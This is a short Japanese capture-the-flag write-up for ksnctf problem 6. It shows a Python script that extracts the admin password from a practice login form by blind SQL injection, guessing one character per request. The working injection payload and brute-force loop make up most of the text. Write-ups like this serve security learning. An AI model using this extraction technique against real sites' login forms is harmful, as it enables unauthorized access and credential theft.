ksnctf 6 login
ksnctfの6問目を解いていきます。
問題のリンクへアクセスするとフォーム画面があります。とりあえず何も考えずにSQLインジェクションを試します。
あっさり通りましたがまだフラグは分かりません。adminのパスワードをクラックしなければいけないようです。
SQLインジェクションを利用したブルートフォース攻撃
ksnctfのフラグは最初5文字が「FLAG_」で計21文字なのでのこりの16文字を総当たり攻撃によって求めます。
# -*- coding: utf-8 -*- import requests flag = "FLAG_" url = "http://ctfq.sweetduet.info:10080/~q6/" for i in range(6, 22): for j in range(48, 123): d = {'id':"admin", 'pass':"' OR substr((SELECT pass FROM user WHERE id='admin'),1," + str(i) + ")='" + flag + chr(j) + "'--"} result = requests.post(url, data=d) if len(result.text) > 1500: print(chr(j)) flag += chr(j) print(flag)